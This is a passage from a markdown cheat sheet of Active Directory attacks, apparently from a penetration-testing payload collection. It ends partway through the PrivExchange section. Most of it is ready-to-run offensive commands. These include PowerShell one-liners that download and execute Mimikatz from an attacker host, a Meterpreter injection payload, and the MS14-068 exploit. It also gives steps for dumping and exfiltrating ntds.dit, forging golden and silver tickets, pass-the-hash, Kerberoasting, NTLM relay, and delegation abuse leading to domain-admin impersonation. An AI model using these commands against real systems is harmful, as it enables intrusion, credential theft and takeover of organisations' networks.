# Active Directory Attacks ## Summary * [Tools](#tools) * [Most common paths to AD compromise](#most-common-paths-to-ad-compromise) * [MS14-068 (Microsoft Kerberos Checksum Validation Vulnerability)](#ms14-068-microsoft-kerberos-checksum-validation-vulnerability) * [Open Shares](#open-shares) * [GPO - Pivoting with Local Admin & Passwords in SYSVOL](#gpo---pivoting-with-local-admin--passwords-in-sysvol) * [Dumping AD Domain Credentials](#dumping-ad-domain-credentials-systemrootntdsntdsdit) * [Password in AD User comment](#password-in-ad-user-comment) * [Pass-the-Ticket Golden Tickets](#pass-the-ticket-golden-tickets) * [Pass-the-Ticket Silver Tickets](#pass-the-ticket-silver-tickets) * [Kerberoast](#kerberoast) * [KRB_AS_REP roasting](#krb_as_rep-roasting) * [Pass-the-Hash](#pass-the-hash) * [OverPass-the-Hash (pass the key)](#overpass-the-hash-pass-the-key) * [Capturing and cracking NTLMv2 hashes](#capturing-and-cracking-ntlmv2-hashes) * [NTLMv2 hashes relaying](#ntlmv2-hashes-relaying) * [Dangerous Built-in Groups Usage](#dangerous-built-in-groups-usage) * [Trust relationship between domains](#trust-relationship-between-domains) * [Unconstrained delegation](#unconstrained-delegation) * [Resource-Based Constrained Delegation](#resource-based-constrained-delegation) * [PrivExchange attack](#privexchange-attack) * [Password spraying](#password-spraying) * [PXE Boot image attack](#pxe-boot-image-attack) ## Tools * [Impacket](https://github.com/CoreSecurity/impacket) or the [Windows version](https://github.com/maaaaz/impacket-examples-windows) * [Responder](https://github.com/SpiderLabs/Responder) * [Mimikatz](https://github.com/gentilkiwi/mimikatz) * [Ranger](https://github.com/funkandwagnalls/ranger) * [BloodHound](https://github.com/BloodHoundAD/BloodHound) ```powershell apt install bloodhound #kali neo4j console Go to http://127.0.0.1:7474, use db:bolt://localhost:7687, user:neo4J, pass:neo4j ./bloodhound SharpHound.exe (from resources/Ingestor) SharpHound.exe -c all -d active.htb --domaincontroller 10.10.10.100 or Invoke-BloodHound -SearchForest -CSVFolder C:\Users\Public or bloodhound-python -d lab.local -u rsmith -p Winter2017 -gc LAB2008DC01.lab.local -c all ``` * [AdExplorer](https://docs.microsoft.com/en-us/sysinternals/downloads/adexplorer) * [CrackMapExec](https://github.com/byt3bl33d3r/CrackMapExec) ```bash git clone --recursive https://github.com/byt3bl33d3r/CrackMapExec crackmapexec smb -L crackmapexec smb -M name_module -o VAR=DATA crackmapexec 192.168.1.100 -u Jaddmon -H 5858d47a41e40b40f294b3100bea611f --local-auth crackmapexec 192.168.1.100 -u Jaddmon -H 5858d47a41e40b40f294b3100bea611f --shares crackmapexec 192.168.1.100 -u Jaddmon -H ':5858d47a41e40b40f294b3100bea611f' -d 'DOMAIN' -M invoke_sessiongopher crackmapexec 192.168.1.100 -u Jaddmon -H 5858d47a41e40b40f294b3100bea611f -M rdp -o ACTION=enable crackmapexec 192.168.1.100 -u Jaddmon -H 5858d47a41e40b40f294b3100bea611f -M metinject -o LHOST=192.168.1.63 LPORT=4443 crackmapexec 192.168.1.100 -u Jaddmon -H ":5858d47a41e40b40f294b3100bea611f" -M web_delivery -o URL="https://IP:PORT/posh-payload" crackmapexec 192.168.1.100 -u Jaddmon -H ":5858d47a41e40b40f294b3100bea611f" --exec-method smbexec -X 'whoami' crackmapexec mimikatz --server http --server-port 80 ``` * [Mitm6](https://github.com/fox-it/mitm6.git) ```bash git clone https://github.com/fox-it/mitm6.git && cd mitm6 pip install . mitm6 -d lab.local ntlmrelayx.py -wh 192.168.218.129 -t smb://192.168.218.128/ -i # -wh: Server hosting WPAD file (Attacker’s IP) # -t: Target (You cannot relay credentials to the same device that you’re spoofing) # -i: open an interactive shell ``` * [PowerSploit](https://github.com/PowerShellMafia/PowerSploit/tree/master/Recon) ```powershell powershell.exe -nop -exec bypass -c "IEX (New-Object Net.WebClient).DownloadString('http://10.11.0.47/PowerUp.ps1'); Invoke-AllChecks" powershell.exe -nop -exec bypass -c "IEX (New-Object Net.WebClient).DownloadString('http://10.10.10.10/Invoke-Mimikatz.ps1');" ``` * [Active Directory Assessment and Privilege Escalation Script](https://github.com/hausec/ADAPE-Script) ```powershell powershell.exe -ExecutionPolicy Bypass ./ADAPE.ps1 ``` * [Ping Castle](https://github.com/vletoux/pingcastle) ```powershell pingcastle.exe --healthcheck --server --user --password --advanced-live --nullsession pingcastle.exe --healthcheck --server domain.local pingcastle.exe --graph --server domain.local pingcastle.exe --scanner scanner_name --server domain.local available scanners are:aclcheck,antivirus,corruptADDatabase,foreignusers,laps_bitlocker,localadmin,ullsession,nullsession-trust,share,smb,spooler,startup ``` * [Kerbrute](https://github.com/ropnop/kerbrute) ```powershell ./kerbrute passwordspray -d ``` * [Rubeus](https://github.com/GhostPack/Rubeus) ```powershell Rubeus.exe asktgt /user:USER [/domain:DOMAIN] [/dc:DOMAIN_CONTROLLER] [/ptt] [/luid] Rubeus.exe dump [/service:SERVICE] [/luid:LOGINID] Rubeus.exe klist [/luid:LOGINID] Rubeus.exe kerberoast [/spn:"blah/blah"] [/user:USER] [/domain:DOMAIN] [/dc:DOMAIN_CONTROLLER] [/ou:"OU=,..."] ``` ## Most common paths to AD compromise ### MS14-068 (Microsoft Kerberos Checksum Validation Vulnerability) This exploit require to know the user SID, you can use `rpcclient` to remotely get it or `wmi` if you have an access on the machine. ```powershell # remote rpcclient $> lookupnames john.smith john.smith S-1-5-21-2923581646-3335815371-2872905324-1107 (User: 1) # loc wmic useraccount get name,sid Administrator S-1-5-21-3415849876-833628785-5197346142-500 Guest S-1-5-21-3415849876-833628785-5197346142-501 Administrator S-1-5-21-297520375-2634728305-5197346142-500 Guest S-1-5-21-297520375-2634728305-5197346142-501 krbtgt S-1-5-21-297520375-2634728305-5197346142-502 lambda S-1-5-21-297520375-2634728305-5197346142-1110 ``` ```bash Doc: https://github.com/gentilkiwi/kekeo/wiki/ms14068 ``` Generate a ticket with `metasploit` or `pykek` ```powershell Metasploit: auxiliary/admin/kerberos/ms14_068_kerberos_checksum Name Current Setting Required Description ---- --------------- -------- ----------- DOMAIN LABDOMAIN.LOCAL yes The Domain (upper case) Ex: DEMO.LOCAL PASSWORD P@ssw0rd yes The Domain User password RHOSTS 10.10.10.10 yes The target address range or CIDR identifier RPORT 88 yes The target port Timeout 10 yes The TCP timeout to establish connection and read data USER lambda yes The Domain User USER_SID S-1-5-21-297520375-2634728305-5197346142-1106 yes The Domain User SID, Ex: S-1-5-21-1755879683-3641577184-3486455962-1000 ``` ```powershell # https://github.com/SecWiki/windows-kernel-exploits/tree/master/MS14-068/pykek git clone https://github.com/SecWiki/windows-kernel-exploits python ./ms14-068.py -u @ -s -d -p python ./ms14-068.py -u darthsidious@lab.adsecurity.org -p TheEmperor99! -s S-1-5-21-1473643419-774954089-2222329127-1110 -d adsdc02.lab.adsecurity.org python ./ms14-068.py -u john.smith@pwn3d.local -s S-1-5-21-2923581646-3335815371-2872905324-1107 -d 192.168.115.10 ``` Then use `mimikatz` to load the ticket. ```powershell mimikatz.exe "kerberos::ptc c:\temp\TGT_darthsidious@lab.adsecurity.org.ccache" ``` :warning: If the clock is skewed use `clock-skew.nse` script from `nmap` ```powershell Linux> $ nmap -sV -sC 10.10.10.10 clock-skew: mean: -1998d09h03m04s, deviation: 4h00m00s, median: -1998d11h03m05s Linux> sudo date -s "14 APR 2015 18:25:16" Windows> net time /domain /set ``` ### Open Shares ```powershell smbmap -H 10.10.10.10 # null session smbmap -H 10.10.10.10 -R # recursive listing smbmap -H 10.10.10.10 -u invaliduser # guest smb session smbmap -H 10.10.10.10 -d active.htb -u SVC_TGS -p GPPstillStandingStrong2k18 ``` or ```powershell pth-smbclient -U "AD/ADMINISTRATOR%aad3b435b51404eeaad3b435b51404ee:2[...]A" //192.168.10.100/Share pth-smbclient -U "AD/ADMINISTRATOR%aad3b435b51404eeaad3b435b51404ee:2[...]A" //192.168.10.100/C$ ls # list files cd # move inside a folder get # download files put # replace a file ``` or ```powershell smbclient -I 10.10.10.100 -L ACTIVE -N -U "" Sharename Type Comment --------- ---- ------- ADMIN$ Disk Remote Admin C$ Disk Default share IPC$ IPC Remote IPC NETLOGON Disk Logon server share Replication Disk SYSVOL Disk Logon server share Users Disk use Sharename # select a Sharename cd Folder # move inside a folder ls # list files ``` Download a folder recursively ```powershell smbclient //10.0.0.1/Share smb: \> mask "" smb: \> recurse ON smb: \> prompt OFF smb: \> lcd '/path/to/go/' smb: \> mget * ``` Mount a share ```powershell smbmount //X.X.X.X/c$ /mnt/remote/ -o username=user,password=pass,rw sudo mount -t cifs -o username=,password= ///Users folder ``` ### GPO - Pivoting with Local Admin & Passwords in SYSVOL :triangular_flag_on_post: GPO Priorization : Organization Unit > Domain > Site > Local Find password in SYSVOL (MS14-025) ```powershell findstr /S /I cpassword \\\sysvol\\policies\*.xml ``` Decrypt a Group Policy Password found in SYSVOL (by [0x00C651E0](https://twitter.com/0x00C651E0/status/956362334682849280)), using the 32-byte AES key provided by Microsoft in the [MSDN - 2.2.1.1.4 Password Encryption](https://msdn.microsoft.com/en-us/library/cc422924.aspx) ```bash echo 'password_in_base64' | base64 -d | openssl enc -d -aes-256-cbc -K 4e9906e8fcb66cc9faf49310620ffee8f496e806cc057990209b09a433b66c1b -iv 0000000000000000 e.g: echo '5OPdEKwZSf7dYAvLOe6RzRDtcvT/wCP8g5RqmAgjSso=' | base64 -d | openssl enc -d -aes-256-cbc -K 4e9906e8fcb66cc9faf49310620ffee8f496e806cc057990209b09a433b66c1b -iv 0000000000000000 echo 'edBSHOwhZLTjt/QS9FeIcJ83mjWA98gw9guKOhJOdcqh+ZGMeXOsQbCpZ3xUjTLfCuNH8pG5aSVYdYw/NglVmQ' | base64 -d | openssl enc -d -aes-256-cbc -K 4e9906e8fcb66cc9faf49310620ffee8f496e806cc057990209b09a433b66c1b -iv 0000000000000000 ``` Metasploit modules to enumerate shares and credentials ```c scanner/smb/smb_enumshares post/windows/gather/enum_shares post/windows/gather/credentials/gpp ``` Crackmapexec modules ```powershell cme smb 192.168.1.2 -u Administrator -H 89[...]9d -M gpp_autologin cme smb 192.168.1.2 -u Administrator -H 89[...]9d -M gpp_password ``` List all GPO for a domain ```powershell Get-GPO -domaine DOMAIN.COM -all Get-GPOReport -all -reporttype xml --all Powersploit: Get-NetGPO Get-NetGPOGroup ``` ### Dumping AD Domain Credentials (%SystemRoot%\NTDS\Ntds.dit) #### Using ndtsutil ```powershell C:\>ntdsutil ntdsutil: activate instance ntds ntdsutil: ifm ifm: create full c:\pentest ifm: quit ntdsutil: quit ``` or ```powershell ntdsutil "ac i ntds" "ifm" "create full c:\temp" q q ``` #### Using Vshadow ```powershell vssadmin create shadow /for=C : Copy Shadow_Copy_Volume_Name\windows\ntds\ntds.dit c:\ntds.dit ``` You can also use the Nishang script, available at : [https://github.com/samratashok/nishang](https://github.com/samratashok/nishang) ```powershell Import-Module .\Copy-VSS.ps1 Copy-VSS Copy-VSS -DestinationDir C:\ShadowCopy\ ``` #### Using vssadmin ```powershell vssadmin create shadow /for=C: copy \\?\GLOBALROOT\Device\HarddiskVolumeShadowCopy1\Windows\NTDS\NTDS.dit C:\ShadowCopy copy \\?\GLOBALROOT\Device\HarddiskVolumeShadowCopy1\Windows\System32\config\SYSTEM C:\ShadowCopy ``` #### Using DiskShadow (a Windows signed binary) ```powershell diskshadow.txt contains : set context persistent nowriters add volume c: alias someAlias create expose %someAlias% z: exec "cmd.exe" /c copy z:\windows\ntds\ntds.dit c:\exfil\ntds.dit delete shadows volume %someAlias% reset then: NOTE - must be executed from C:\Windows\System32 diskshadow.exe /s c:\diskshadow.txt dir c:\exfil reg.exe save hklm\system c:\exfil\system.bak ``` #### Extract hashes from ntds.dit then you need to use secretsdump to extract the hashes ```java secretsdump.py -system /root/SYSTEM -ntds /root/ntds.dit LOCAL ``` secretsdump also works remotely ```java ./secretsdump.py -dc-ip IP AD\administrator@domain -use-vss ./secretsdump.py -hashes aad3b435b51404eeaad3b435b51404ee:0f49aab58dd8fb314e268c4c6a65dfc9 -just-dc PENTESTLAB/dc\$@10.0.0.1 ``` #### Alternatives - modules Metasploit modules ```c windows/gather/credentials/domain_hashdump ``` PowerSploit module ```powershell Invoke-NinjaCopy --path c:\windows\NTDS\ntds.dit --verbose --localdestination c:\ntds.dit ``` CrackMapExec module ```powershell cme smb 10.10.0.202 -u username -p password --ntds vss cme smb 10.10.0.202 -u username -p password --ntds drsuapi #default ``` ### Password in AD User comment ```powershell enum4linux | grep -i desc There are 3-4 fields that seem to be common in most AD schemas: UserPassword, UnixUserPassword, unicodePwd and msSFU30Password. Get-WmiObject -Class Win32_UserAccount -Filter "Domain='COMPANYDOMAIN' AND Disabled='False'" | Select Name, Domain, Status, LocalAccount, AccountType, Lockout, PasswordRequired,PasswordChangeable, Description, SID ``` or dump the Active Directory and `grep` the content. ```powershell ldapdomaindump -u 'DOMAIN\john' -p MyP@ssW0rd 10.10.10.10 -o ~/Documents/AD_DUMP/ ``` ### Pass-the-Ticket Golden Tickets Forging a TGT require the krbtgt NTLM hash > The way to forge a Golden Ticket is very similar to the Silver Ticket one. The main differences are that, in this case, no service SPN must be specified to ticketer.py, and the krbtgt ntlm hash must be used. #### Using Mimikatz ```powershell # Get info - Mimikatz lsadump::dcsync /user:krbtgt lsadump::lsa /inject /name:krbtgt # Forge a Golden ticket - Mimikatz kerberos::purge kerberos::golden /user:evil /domain:pentestlab.local /sid:S-1-5-21-3737340914-2019594255-2413685307 /krbtgt:d125e4f69c851529045ec95ca80fa37e /ticket:evil.tck /ptt kerberos::tgt ``` #### Using Meterpreter ```powershell # Get info - Meterpreter(kiwi) dcsync_ntlm krbtgt dcsync krbtgt # Forge a Golden ticket - Meterpreter load kiwi golden_ticket_create -d -k -s -u -t golden_ticket_create -d pentestlab.local -u pentestlabuser -s S-1-5-21-3737340914-2019594255-2413685307 -k d125e4f69c851529045ec95ca80fa37e -t /root/Downloads/pentestlabuser.tck kerberos_ticket_purge kerberos_ticket_use /root/Downloads/pentestlabuser.tck kerberos_ticket_list ``` #### Using a ticket on Linux ```powershell # Convert the ticket kirbi to ccache with kekeo misc::convert ccache ticket.kirbi # Alternatively you can use ticketer from Impacket ./ticketer.py -nthash a577fcf16cfef780a2ceb343ec39a0d9 -domain-sid S-1-5-21-2972629792-1506071460-1188933728 -domain amity.local mbrody-da ticketer.py -nthash HASHKRBTGT -domain-sid SID_DOMAIN_A -domain DEV Administrator -extra-sid SID_DOMAIN_B_ENTERPRISE_519 ./ticketer.py -nthash e65b41757ea496c2c60e82c05ba8b373 -domain-sid S-1-5-21-354401377-2576014548-1758765946 -domain DEV Administrator -extra-sid S-1-5-21-2992845451-2057077057-2526624608-519 export KRB5CCNAME=/home/user/ticket.ccache cat $KRB5CCNAME # NOTE: You may need to comment the proxy_dns setting in the proxychains configuration file ./psexec.py -k -no-pass -dc-ip 192.168.1.1 AD/administrator@192.168.1.100 ``` If you need to swap ticket between Windows and Linux, you need to convert them with `ticket_converter` or `kekeo`. ```powershell root@kali:ticket_converter$ python ticket_converter.py velociraptor.ccache velociraptor.kirbi Converting ccache => kirbi root@kali:ticket_converter$ python ticket_converter.py velociraptor.kirbi velociraptor.ccache Converting kirbi => ccache ``` ### Pass-the-Ticket Silver Tickets Forging a TGS require machine accound password (key) from the KDC ```powershell # Create a ticket for the service mimikatz $ kerberos::golden /user:USERNAME /domain:DOMAIN.FQDN /sid:DOMAIN-SID /target:TARGET-HOST.DOMAIN.FQDN /rc4:TARGET-MACHINE-NT-HASH /service:SERVICE # Examples mimikatz $ /kerberos::golden /domain:adsec.local /user:ANY /sid:S-1-5-21-1423455951-1752654185-1824483205 /rc4:ceaxxxxxxxxxxxxxxxxxxxxxxxxxxxxx /target:DESKTOP-01.adsec.local /service:cifs /ptt mimikatz $ kerberos::golden /domain:jurassic.park /sid:S-1-5-21-1339291983-1349129144-367733775 /rc4:b18b4b218eccad1c223306ea1916885f /user:stegosaurus /service:cifs /target:labwws02.jurassic.park # Then use the same steps as a Golden ticket mimikatz $ misc::convert ccache ticket.kirbi root@kali:/tmp$ export KRB5CCNAME=/home/user/ticket.ccache root@kali:/tmp$ ./psexec.py -k -no-pass -dc-ip 192.168.1.1 AD/administrator@192.168.1.100 ``` ### Kerberoast > "A service principal name (SPN) is a unique identifier of a service instance. SPNs are used by Kerberos authentication to associate a service instance with a service logon account. " - [MSDN](https://docs.microsoft.com/fr-fr/windows/desktop/AD/service-principal-names) Any valid domain user can request a kerberos ticket for any domain service with `GetUserSPNs`. Once the ticket is received, password cracking can be done offline on the ticket to attempt to break the password for whatever user the service is running as. ```powershell $ GetUserSPNs.py active.htb/SVC_TGS:GPPstillStandingStrong2k18 -dc-ip 10.10.10.100 -request Impacket v0.9.17 - Copyright 2002-2018 Core Security Technologies ServicePrincipalName Name MemberOf PasswordLastSet LastLogon -------------------- ------------- -------------------------------------------------------- ------------------- ------------------- active/CIFS:445 Administrator CN=Group Policy Creator Owners,CN=Users,DC=active,DC=htb 2018-07-18 21:06:40 2018-12-03 17:11:11 $krb5tgs$23$*Administrator$ACTIVE.HTB$active/CIFS~445*$424338c0a3c3af43c360c29c154b012c$c54c7be163ae6c323ae6b5fc45a1eacee2f4903deec785cd689f4551e023775c7e7772fe85e3fb8374ca95534d72c971ba80e8b6d4ef3c3b8439dc54031540133cbcbd5f7b39d622733d198eec594c0cd181ab4696a6ad12744d1ddd2d3e2c6dd33b4daedbc9cae75e8ff2652c80421b0fa3a61ddf2cabeea462c44e0f6d9a6436717e0621bb4e0fe8bd3cf36156b4b2f7b81d651f70baf34a0b3071858b5034b895c25a0d3c67044c849d5952c381a0078a86ae562810a93d9c7bcc8311255cc9eda35a9c4d4d43ff1cc29108056285c954f3c633332ff0cb0c9c0f1896c792b247c8d25f5dd71802728fc99bb22709337b5596ab0e2045110b0b005b03351e9f71a65b48e8259f6191ce95d4e5794846c61c3abccf0f5f72a8679fb0dc0777720f5551ad99c9c9ab0955f85ee211d40b01fcaece7868960b2063923aa0f59e17b347f3308087707e95cad54b9df8179728821cf54cb204c5c2e571d9a66c8ec40b090305aa32e90a90d25ea37be6d8f8a83c683a8b69d386f9edb970596bc56fa02971f69c7e073b8de1213d9caa75ab652e5c5b99cadace9dd7d15d1d530309ea39ca1b7c6009ae3342796a6bdea084622ee95cbade437659e37363b848bad2186e3a9f7dec66e1e496db32d55eda8fb926f057996638646dcc662ed226788ddf36304dc70eaca91b26cb7180341f417fad91117ee10212c69423abd42769cbf891b51d736ffe474899eec8df64abef319d3c6dc379f2bfda33de7c3a1a50d6ece564d4559c77f560b7506fa2f1c9af7162f1247ea35706aafffde48b8cc48b1ec8e99d99ac81dc02f55f43f9726d746383cd076e7199070ff8100846ba9dc2235e92d0c7dac1f33da5fe7901e02f0566030d7c7e02535d6a300292a04e6c32d0d74d37679c2617750f5920d9c697a30c883519bc6b5a916eec354459c7f248c783bd79c436a7e8c463a8981a9e000d21c2d00c7e8468cff0ab695cb3aa4f14f149d1fafb4d656bcd1f67b747fc4c2d648466a386774853db8d50c22df57e747085142f98f5f06191c243b9dbf671da64228364f058c7e2e53a80fdde7f6dc2f25459a09fb2583757953247c222d64f49bc12d461d2e5aa572ceba2605d7eafd6031405ee422ac35cbf041b4fd28e58d871406e053d1a806de49056791646c175bf0d2aaa19f844bfc885520e19c391702be6ae61122fceac32b689764334908a4eaf7c69974a9519ebb068a15c087955fb402416bd184fd2 ``` Alternatively with [Rubeus](https://github.com/GhostPack/Rubeus) ```powershell .\rubeus.exe kerberoast /creduser:DOMAIN\JOHN /credpassword:MyP@ssW0RD /outfile:hash.txt ``` Then crack the ticket with hashcat or john ```powershell hashcat -m 13100 -a 0 hash.txt crackstation.txt ./john ~/hash.txt --wordlist=rockyou.lst ``` ### KRB_AS_REP Roasting If a domain user does not have Kerberos preauthentication enabled, an AS-REP can be successfully requested for the user, and a component of the structure can be cracked offline a la kerberoasting ```powershell C:\>git clone https://github.com/GhostPack/Rubeus#asreproast C:\Rubeus>Rubeus.exe asreproast /user:TestOU3user /format:hashcat /outfile:hashes.asreproast ______ _ (_____ \ | | _____) )_ _| |__ _____ _ _ ___ | __ /| | | | _ \| ___ | | | |/___) | | \ \| |_| | |_) ) ____| |_| |___ | |_| |_|____/|____/|_____)____/(___/ v1.3.4 [*] Action: AS-REP roasting [*] Target User : TestOU3user [*] Target Domain : testlab.local [*] SamAccountName : TestOU3user [*] DistinguishedName : CN=TestOU3user,OU=TestOU3,OU=TestOU2,OU=TestOU1,DC=testlab,DC=local [*] Using domain controller: testlab.local (192.168.52.100) [*] Building AS-REQ (w/o preauth) for: 'testlab.local\TestOU3user' [*] Connecting to 192.168.52.100:88 [*] Sent 169 bytes [*] Received 1437 bytes [+] AS-REQ w/o preauth successful! [*] AS-REP hash: $krb5asrep$TestOU3user@testlab.local:858B6F645D9F9B57210292E5711E0...(snip)... C:\Rubeus> john --wordlist=passwords_kerb.txt hashes.asreproast ``` Using `impacket` to get the hash and `hashcat` to crack it. ```powershell # extract hashes root@kali:impacket-examples$ python GetNPUsers.py jurassic.park/ -usersfile usernames.txt -format hashcat -outputfile hashes.asreproast root@kali:impacket-examples$ python GetNPUsers.py jurassic.park/triceratops:Sh4rpH0rns -request -format hashcat -outputfile hashes.asreproast # crack AS_REP messages root@kali:impacket-examples$ hashcat -m 18200 --force -a 0 hashes.asreproast passwords_kerb.txt ``` ### Pass-the-Hash The types of hashes you can use with Pass-The-Hash are NT or NTLM hashes. Since Windows Vista, attackers have been unable to pass-the-hash to local admin accounts that weren’t the built-in RID 500. ```powershell use exploit/windows/smb/psexec set RHOST 10.2.0.3 set SMBUser jarrieta set SMBPass nastyCutt3r # NOTE1: The password can be replaced by a hash to execute a `pass the hash` attack. # NOTE2: Require the full NTLM hash, you may need to add the "blank" LM (aad3b435b51404eeaad3b435b51404ee) set PAYLOAD windows/meterpreter/bind_tcp run shell ``` or with crackmapexec ```powershell cme smb 10.2.0.2 -u jarrieta -H 'aad3b435b51404eeaad3b435b51404ee:489a04c09a5debbc9b975356693e179d' -x "whoami" also works with net range : cme smb 10.2.0.2/24 ... ``` or with psexec ```powershell proxychains python ./psexec.py jarrieta@10.2.0.2 -hashes :489a04c09a5debbc9b975356693e179d ``` or with the builtin Windows RDP and mimikatz ```powershell sekurlsa::pth /user: /domain: /ntlm: /run:"mstsc.exe /restrictedadmin" ``` ### OverPass-the-Hash (pass the key) Request a TGT with only the NT hash then you can connect to the machine using the TGT. #### Using impacket ```powershell root@kali:impacket-examples$ python ./getTGT.py -hashes :1a59bd44fe5bec39c44c8cd3524dee lab.ropnop.com root@kali:impacket-examples$ export KRB5CCNAME=/root/impacket-examples/velociraptor.ccache root@kali:impacket-examples$ python psexec.py jurassic.park/velociraptor@labwws02.jurassic.park -k -no-pass also with the AES Key if you have it root@kali:impacket-examples$ ./getTGT.py -aesKey xxxxxxxxxxxxxxkeyaesxxxxxxxxxxxxxxxx lab.ropnop.com ktutil -k ~/mykeys add -p tgwynn@LAB.ROPNOP.COM -e arcfour-hma-md5 -w 1a59bd44fe5bec39c44c8cd3524dee --hex -V 5 kinit -t ~/mykers tgwynn@LAB.ROPNOP.COM klist ``` #### Using Rubeus ```powershell C:\Users\triceratops>.\Rubeus.exe asktgt /domain:jurassic.park /user:velociraptor /rc4:2a3de7fe356ee524cc9f3d579f2e0aa7 /ptt C:\Users\triceratops>.\PsExec.exe -accepteula \\labwws02.jurassic.park cmd ``` ### Capturing and cracking NTLMv2 hashes If any user in the network tries to access a machine and mistype the IP or the name, Responder will answer for it and ask for the NTLMv2 hash to access the resource. Responder will poison `LLMNR`, `MDNS` and `NETBIOS` requests on the network. ```python python Responder.py -I eth0 ``` Then crack the hash with `hashcat` ```powershell hashcat -m 5600 -a 0 hash.txt crackstation.txt ``` ### NTLMv2 hashes relaying If a machine has `SMB signing`:`disabled`, it is possible to use Responder with Multirelay.py script to perform an `NTLMv2 hashes relay` and get a shell access on the machine. 1. Open the Responder.conf file and set the value of `SMB` and `HTTP` to `Off`. 2. Run `python RunFinger.py -i IP_Range` to detect machine with `SMB signing`:`disabled`. 3. Run `python Responder.py -I ` and `python MultiRelay.py -t -u ALL` 4. Wait for a shell ### Dangerous Built-in Groups Usage If you do not want modified ACLs to be overwrite every hour, you should change ACL template on the object CN=AdminSDHolder,CN=System, " or set "adminCount" attribute to 0 for the required objec AdminSDHolder ```powershell Get-ADUser -LDAPFilter "(objectcategory=person)(samaccountname=*)(admincount=1)" Get-ADGroup -LDAPFilter "(objectcategory=group) (admincount=1)" or ([adsisearcher]"(AdminCount=1)").findall() ``` ### Trust relationship between domains ```powershell nltest /trusted_domains ``` or ```powershell ([System.DirectoryServices.ActiveDirectory.Domain]::GetCurrentDomain()).GetAllTrustRelationships() SourceName TargetName TrustType TrustDirection ---------- ---------- --------- -------------- domainA.local domainB.local TreeRoot Bidirectional ``` ### Unconstrained delegation > The user sends a TGS to access the service, along with their TGT, and then the service can use the user’s TGT to request a TGS for the user to any other service and impersonate the user. - https://shenaniganslabs.io/2019/01/28/Wagging-the-Dog.html #### Find delegation Check the `TrustedForDelegation` property. ```powershell # From https://github.com/samratashok/ADModule PS> Get-ADComputer -Filter {TrustedForDelegation -eq $True} or $> ldapdomaindump -u "DOMAIN\\Account" -p "Password123*" 10.10.10.10 grep TRUSTED_FOR_DELEGATION domain_computers.grep ``` NOTE: Domain controllers usually have unconstrained delegation enabled #### Monitor with Rubeus Monitor incoming connections from Rubeus. ```powershell Rubeus.exe monitor /interval:1 ``` #### Force a connect back from the DC > SpoolSample is a PoC to coerce a Windows host to authenticate to an arbitrary server using a "feature" in the MS-RPRN RPC interface ```powershell # From https://github.com/leechristensen/SpoolSample .\SpoolSample.exe VICTIM-DC-NAME UNCONSTRAINED-SERVER-DC-NAME .\SpoolSample.exe DC01.HACKER.LAB HELPDESK.HACKER.LAB # DC01.HACKER.LAB is the domain controller we want to compromise # HELPDESK.HACKER.LAB is the machine with delegation enabled that we control. ``` If the attack worked you should get a TGT of the domain controller. #### Load the ticket Extract the base64 TGT from Rubeus output and load it to our current session. ```powershell .\Rubeus.exe asktgs /ticket: /ptt ``` Then you can use DCsync or another attack : `Mimikatz> lsadump::dcsync /user:HACKER\krbtgt` ### Resource-Based Constrained Delegation Resource-based Constrained Delegation was introduced in Windows Server 2012. > The user sends a TGS to access the service ("Service A"), and if the service is allowed to delegate to another pre-defined service ("Service B"), then Service A can present to the authentication service the TGS that the user provided and obtain a TGS for the user to Service B. https://shenaniganslabs.io/2019/01/28/Wagging-the-Dog.html 1. Import **Powermad** and **Powerview** ```powershell PowerShell.exe -ExecutionPolicy Bypass Import-Module .\powermad.ps1 Import-Module .\powerview.ps1 ``` 2. Get user SID ```powershell $AttackerSID = Get-DomainUser SvcJoinComputerToDom -Properties objectsid | Select -Expand objectsid $ACE = Get-DomainObjectACL dc01-ww2.factory.lan | ?{$_.SecurityIdentifier -match $AttackerSID} $ACE ConvertFrom-SID $ACE.SecurityIdentifier ``` 3. Abuse **MachineAccountQuota** to create a computer account and set an SPN for it ```powershell New-MachineAccount -MachineAccount swktest -Password $(ConvertTo-SecureString 'Weakest123*' -AsPlainText -Force) ``` 4. Rewrite DC's **AllowedToActOnBehalfOfOtherIdentity** properties ```powershell $ComputerSid = Get-DomainComputer swktest -Properties objectsid | Select -Expand objectsid $SD = New-Object Security.AccessControl.RawSecurityDescriptor -ArgumentList "O:BAD:(A;;CCDCLCSWRPWPDTLOCRSDRCWDWO;;;$($ComputerSid))" $SDBytes = New-Object byte[] ($SD.BinaryLength) $SD.GetBinaryForm($SDBytes, 0) Get-DomainComputer dc01-ww2.factory.lan | Set-DomainObject -Set @{'msds-allowedtoactonbehalfofotheridentity'=$SDBytes} $RawBytes = Get-DomainComputer dc01-ww2.factory.lan -Properties 'msds-allowedtoactonbehalfofotheridentity' | select -expand msds-allowedtoactonbehalfofotheridentity $Descriptor = New-Object Security.AccessControl.RawSecurityDescriptor -ArgumentList $RawBytes, 0 $Descriptor.DiscretionaryAcl ``` 5. Use Rubeus to get hash from password ```powershell Rubeus.exe hash /password:'Weakest123*' /user:swktest /domain:factory.lan [*] Input password : Weakest123* [*] Input username : swktest [*] Input domain : factory.lan [*] Salt : FACTORY.LANswktest [*] rc4_hmac : F8E064CA98539B735600714A1F1907DD [*] aes128_cts_hmac_sha1 : D45DEADECB703CFE3774F2AA20DB9498 [*] aes256_cts_hmac_sha1 : 0129D24B2793DD66BAF3E979500D8B313444B4D3004DE676FA6AFEAC1AC5C347 [*] des_cbc_md5 : BA297CFD07E62A5E ``` 6. Impersonate domain admin using our newly created machine account ```powershell .\Rubeus.exe s4u /user:swktest$ /rc4:F8E064CA98539B735600714A1F1907DD /impersonateuser:Administrator /msdsspn:cifs/dc01-ww2.factory.lan /ptt [*] Impersonating user 'Administrator' to target SPN 'cifs/dc01-ww2.factory.lan' [*] Using domain controller: DC01-WW2.factory.lan (172.16.42.5) [*] Building S4U2proxy request for service: 'cifs/dc01-ww2.factory.lan' [*] Sending S4U2proxy request [+] S4U2proxy success! [*] base64(ticket.kirbi) for SPN 'cifs/dc01-ww2.factory.lan': doIGXDCCBligAwIBBaEDAgEWooIFXDCCBVhhggVUMIIFUKADAgEFoQ0bC0ZBQ1RPUlkuTEFOoicwJaAD AgECoR4wHBsEY2lmcxsUZGMwMS[...]PMIIFC6ADAgESoQMCAQOiggT9BIIE LmZhY3RvcnkubGFu [*] Action: Import Ticket [+] Ticket successfully imported! ``` ### PrivExchange attack Exchange your privileges for Domain Admin privs by abusing Exchange. :warning: You need a shell on a user account with a mailbox. 1. Exchange server hostname or IP address ```bash pth-net rpc group members "Exchange Servers" -I dc01.domain.local -U domain/username ``` 2. Relay of the Exchange server authentication and privilege 